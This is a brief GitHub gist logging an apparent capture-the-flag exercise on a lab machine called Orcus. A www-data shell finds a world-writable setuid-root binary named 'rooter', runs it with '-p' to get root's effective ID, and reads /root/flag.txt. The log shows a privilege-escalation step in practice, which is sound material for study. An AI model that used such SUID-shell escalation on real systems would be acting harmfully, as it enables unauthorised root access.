Skip to content

Instantly share code, notes, and snippets.

@kwiha
Created March 27, 2017 20:12
www-data@Orcus:/$ ls -al
total 1124
drwxrwxrwt 10 root root 4096 Mar 27 08:45 .
drwxr-xr-x 24 root root 4096 Oct 30 23:05 ..
drwxrwxrwt 2 root root 4096 Mar 27 08:36 .ICE-unix
drwxrwxrwt 2 root root 4096 Mar 27 08:36 .Test-unix
drwxrwxrwt 2 root root 4096 Mar 27 08:36 .X11-unix
drwxrwxrwt 2 root root 4096 Mar 27 08:36 .XIM-unix
drwxrwxrwt 2 root root 4096 Mar 27 08:36 .font-unix
-rwsrwxrwx 1 root root 1109564 Mar 27 08:50 rooter
drwx------ 3 root root 4096 Mar 27 08:36 systemd-private-9349aed2336c4fd5ad8749398e923f3c-dovecot.service-YyhShT
drwx------ 3 root root 4096 Mar 27 08:36 systemd-private-9349aed2336c4fd5ad8749398e923f3c-systemd-timesyncd.service-ENaVWk
drwx------ 2 root root 4096 Mar 27 08:36 vmware-root
www-data@Orcus:/$ ./rooter -p
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
cd /root
ls
flag.txt
cat flag.txt
807307b49314f822985d0410de7d8bfe
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment